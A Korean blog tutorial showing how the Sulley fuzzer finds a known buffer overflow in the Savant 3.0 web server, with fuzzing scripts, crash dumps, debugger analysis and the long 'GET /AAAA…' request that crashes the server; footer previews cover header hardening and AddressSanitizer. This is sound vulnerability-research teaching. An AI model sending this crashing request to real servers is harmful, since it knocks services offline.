기본 콘텐츠로 건너뛰기

Sulley-2

Sulley - 2

Savant는 윈도우용 오픈소스 웹 서버로 버전 별로 여러 알려진 취약점이 존재한다. Savant 3.0에는 Buffer Overflow 취약점이 존재하는 데, 이를 Sulley 퍼저를 이용하여 퍼징 테스트를 하겠다.

먼저 Savant 3.0을 설치한다. http 프로토콜은 Sulley 퍼저에 기본적으로 내장되어 있으므로 이를 불러와 사용해도 괜찮다. 우리는 이미 알려진 취약점에 대해서 퍼징 테스트를 수행하므로 편의상 취약 요소를 겨냥한 테스트를 진행한다.

requests/http.py

from sulley import *

s_initialize("HTTP")
s_group("verbs", values=["GET", "READ", "POST", "TRACE"])
if s_block_start("body", group="verbs"):
  s_delim(" ")
  s_delim("/")
  s_string("index.html")
  s_delim(" ")
  s_string("HTTP")
  s_delim("/")
  s_string("1")
  s_delim(".")
  s_string("1")
  s_static("\r\n\r\n")
s_block_end("body")

httpfuzz.py

from sulley import *
from requests import http

def init_message (sock):
  init = 'GET /index.html HTML/`.`\r\n\r\n'

sess = sessions.session(session_filename="audits/http.session")
target = sessions.target("10.0.2.15", 80)
target.netmon = pedrpc.client("10.0.2.15", 26001)
target.procmon = pedrpc.client("10.0.2.15", 26002)

target.procmon_options = {"proc_name":"Savant.exe"}

sess.add_target(target)
sess.pre_send = init_message
sess.connect(sess.root, s_get("HTTP"))

sess.fuzz()

Start Fuzzing

퍼징 테스트를 시작하고 얼마 지나지 않아 Violation이 발생하는 것을 확인할 수 있다.

Test case Crash synopsis Captured Bytesever
000140 Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation 2903
001263 Savant.exe:00409167 mov ecx,[eax] from thread 2212 caused access violation 973

Test Case 140의 Crash Dump를 살펴보자.

Savant.exe:0040a2e5 mov dword [edx+0x24],0x0 from thread 1828 caused access violation
when attempting to write to 0x00004165

CONTEXT DUMP
  EIP: 0040a2e5 mov dword [edx+0x24],0x0
  EAX: 00e8df60 (  15261536) -> HTTP/1.1 404 Could not find the requested element (stack)
  EBX: 00912978 (   9513336) -> $P@`BA(\@BA (heap)
  ECX: 0041b32c (   4305708) -> Content-Type: text/html (Savant.exe.data)
  EDX: 00004141 (     16705) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00912978 (   9513336) -> $P@`BA(\@BA (heap)
  EBP: 00e8e160 (  15262048) -> W@AAAAx)C:\Savant\Root wHTTP/1.1(7(rqDqDqMqt.qPPMqx)d|.qt (stack)
  ESP: 00e8dba8 (  15260584) -> w404
Error 404: File Not Found

Ollydbg를 켜서 해당 주소로 이동(ctrl + g –> 0040a2e5)해보자.
0040a2e5에 브레이크 포인트를 걸고 프롤로그를 찾아보자. 0040a0bd인 것을 확인할 수 있다. 함수 시작 지점에도 브레이크 포인트를 걸어놓고 network_monitor로 저장해둔 패킷을 확인하면 GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1와 같이 요청했다는 것을 확인할 수 있다. 이제 브라우저를 실행하여 해당 테스트 코드를 수행하자.

브레이크 포인트에서 부터 코드를 진행하면 오류 처리를 위해서 CreateFileA 함수로 C:\Savant\Error\404.HTML 파일을 읽는 것을 볼 수 있다. 그 후 Response 메시지를 구성한다. Content-Type을 구성하기 위해서 코드를 진행하던 중 Violation이 발생하는데 아래가 해당 코드이다.

0040A2E2  |.  8B55 14       MOV EDX,DWORD PTR SS:[EBP+14]
0040A2E5  |.  C742 24 00000>MOV DWORD PTR DS:[EDX+24],0

[EBP+14] –> [00D8E174]에 저장된 값 4141(overflow되어 기존 저장된 주소 값을 덮어씀)을 읽어 EDX에 넣고 [EDX+24]의 값을 불러오려던 중 해당 주소는 접근할 수 없는 주소이므로 Violation이 발생(서버 데몬 종료를 통한 DoS 공격)되는 것을 알 수 있다.

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

American Fuzzy Lop And Address Sanitizer

American Fuzzy Lop And Address Sanitizer Address Sanitizer(ASAN) 단지 gcc/clang에 -fsanitize=address 옵션을 추가하는 것으로 간단히 사용할 수 있지만 그 효과는 충분하다. Example Out Of Bounds Read #include <stdio.h> int main() { int a[ 2 ] = { 3 , 1 }; int i = 2 ; printf ( "%i\n" , a[i]); } 예제 파일을 OutOfBoundsRead.c 로 생성하고 ASAN 옵션을 지정하여 clang 으로 컴파일하자. clang -g -fsanitize = address -fno -omit -frame -pointer OutOfBoundsRead . c -o OutOfBoundsRead 생성된 OutBoundsRead 파일을 실행하면 다음과 같은 결과를 볼 수 있다. ================================================================= ==3678==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0ba87428 at pc 0x47b7db bp 0x7ffc0ba87390 sp 0x7ffc0ba87388 READ of size 4 at 0x7ffc0ba87428 thread T0 ==3678==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x47b7da (/root/ASAN/OutOfBoundsRead+0x47b7da) #1 0x7faba0260f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #2 0x...